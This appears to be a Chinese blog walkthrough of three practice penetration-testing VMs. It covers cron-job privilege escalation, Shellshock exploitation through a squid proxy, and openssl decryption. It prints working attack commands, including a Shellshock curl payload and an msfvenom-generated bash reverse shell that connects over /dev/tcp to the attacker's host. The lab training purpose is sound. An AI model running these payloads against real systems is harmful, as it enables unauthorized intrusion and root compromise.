渗透靶机系列(一)

文章发布时间:

最后更新时间:

文章总字数:
2k

预计阅读时间:
7 分钟

渗透靶机系列(一)

周末放松一下,来渗透一些靶机。由于靶机前期信息收集之类的工作前篇一律,这里只简单记录自己学到的新东西,详细版的打靶(手把手教你)可以看b站红队笔记的视频,或者下面 Bossfrank 的系列文章:

https://blog.csdn.net/Bossfrank/article/

JARBAS

利用定时任务linux提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

其中定时任务的格式是这样的,前面表示的是定的时间,多久执行一次:

image-20230924165110125

具体利用方式:crontab 文件或者定时执行的文件覆写

一般情况下,crontab 文件不会给你非 root 用户修改,但是定时执行任务的用户一般都是 root,如果我们能够修改定时执行的文件,就能定时以 root 身份执行命令。

比如说,我们可以在定时执行的文件里加上一行反弹 shell 的代码:

image-20230924171801813

起另一个窗口对4443进行监听即可获得反弹过来的 shell。

SickOS1.1

这台靶机不知道为什么总是扫不到 ip,直接看文章学习!

做下一台靶机的时候发现了,原来是没有用 sudo 来执行 nmap!!!!当场扇自己一巴掌

复现一次,补上流程图

解法一:squid代理

代理服务

8080端口处于关闭状态,但是开放了3128端口,可以看到是有一个 squid 的 http-proxy 服务(上网查询 squid 加上版本号就可以得知这是一个代理服务)。

image-20230924195534970

如果直接浏览器访问 ip 就什么都访问不到,因为8080对外关闭,但是通过代理服务的开放我们可以推出,需要通过代理才能够正常访问靶机上的 web 服务。

dirb url -p http-proxy_address

image-20230924195852598

这行命令能够在 dirb 扫描的时候指定代理服务器,成功扫到关键的 web 路径,但是切记访问的时候也要先手动在浏览器里面设置代理才能访问。

image-20230924201504986

后面 WolfCMS 的利用就不赘述了,都是上网查查后台啊,弱密码登录啊,写入命令执行反弹shell啊,重点是后面的提权。

提权

查看当前目录找到 config.php 然后得到了数据库的账户和密码(但是3306端口根本就没有开放!)。

image-20230924202546104

查看 /etc/passwd 发现了 sickos 这个账户拥有 bash 环境,很有可能是一个有效账户,加之之前搜到了22端口,可以试着登录一下。一路上看到的密码就只有刚刚那个数据库的密码,输进去还真连上了,sudo 得到 flag。

image-20230924203137142

解法二:shellsock

nikto 扫描 shellsock 漏洞

这个 shellsock 的漏洞是通过使用 kali 自带的专门用于网页服务器漏洞扫描工具 nikto 扫描得出,记得加上代理:

nikto –h 192.168.200.141 –useproxy http://192.168.200.141:3128

扫描结果发现在路径 /cgi-bin/status 目录下存在 shellshock 漏洞。shellshock 是一个有关 bash 的漏洞,也称为 Bashdoor 。其实也没什么好了解的,2014年就被修复了。

image-20230924204618309

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

简单来说就是在特殊构造 (){ test;};后面接命令就行。

**msfvenom 反弹 shell **

这里练习一下使用 msfvenom 来生成后门木马

msfvenom -p cmd/unix/reverse_bash lhost=192.168.200.131 lport=443 -f raw

其中 -p 用来指定需要使用的 payload,而 -f 参数则用来指定输出的格式,可以得到:

bash -c '0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120'

把引号里面的内容(注意前面的 bash -c 就不用带上了)放入 Referer 中发送即可获得反弹的 shell 。但是这里发生了一点问题,连上的那一刻(实际上并没有连上)报了一个错 /bin/bash: sh :No such file or directory,将命令里的 sh 改为具体的 /bin/bash 解决问题(在打 JARBAS 的时候也遇到了这个问题)

image-20230924204946811

使用 python 获得交互性更好的 shell

image-20230924205044071

可以看到当前的 shell 不显示用户名也不显示路径,交互性很差。

首先使用 dpkg -l命令查看当前安装了什么服务,发现有 python ,于是可以通过一行 python 代码

python -c "import pty;pty.spawn('/bin/bash')"

来获得交互性更好的 shell 。

image-20230924205144834

定时任务提权

查看网站目录下的文件,可以看到一个 connect.py ,里面暗示会不断执行这个文件。怀疑是一个定时任务。

image-20230924205501032

我们通过在 etc 目录下 cat cron* 来查看所有定时任务,发现有一个任务就是以 root 执行 connect.py ,往 connect.py 里面写入反弹 shell 的代码即可。

msfvenom -p cmd/unix/reverse_python lhost=192.168.200.131 lport=444 -f raw

得到 shell 之后依然交互性不好,要 python 获取交互性更好的 shell,结束。

image-20230924212807169

Prime_Series_1

前置准备工作

经典扫描 ip 加上扫描端口服务之类的,然后发现 web 目录,可以进行目录爆破。在爆的时候出现了一点小问题,显示未找到代理服务器,无法连接,这是因为设置了系统代理 http-proxy,可以在使用命令的时候手动取消代理(指定一个空白代理)即可正常扫描目录。扫出来文件之后一系列解谜不再赘述。直接来到获得权限极低的 www-data shell。

image-20230925144959482

本次权限提升有两种方法,一种是通过内核漏洞提权,这种方式比较暴力,容易导致服务器停止服务或者被管理员发现,而且受版本限制较大(而且这是非预期解),另一种是通过 OpenSSL 解密密文,获得 ssh 连接的密码,再通过可以不用密码使用 sudo 运行的文件来开启 root 的 shell。

解法一:内核提权

使用 uname -a 查看操作系统版本,发现是较早的内核版本。

使用 searchsploit 直接查历史漏洞,找到和提权相关的漏洞。

image-20230925161147370

如何让目标机获取本机上的文件呢,可以使用 php 或者 python 在本机上开一个 web 服务 然后目标机上 wget url,通过远程地址来获得文件。

image-20230925161059610

目标机上 gcc -o 编译运行 .c 文件完成权限提升。

解法二:openssl爆破解密

前面具体的就不说了,就是翻翻备份文件,然后找到密码,运行文件得到密文和密钥,但是未知加密方式,可以将加密方式都列在一个文件里面,然后遍历来用 openssl 解

1
2
3
awk '{gsub(" ","\n");print}' CiperList | sort | uniq > Ciper

for cipher in $(cat Ciper); do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;done

其中 CiperList 里面的内容就是复制的 openssl -h 里面的所有 ciper。

感觉这些靶机有点像 misc 的感觉?都是直接复制脚本或者查询历史漏洞打,感觉没啥多大意思(也就提权的时候有点意思),周末结束了,也该继续学 java,做 web 题了。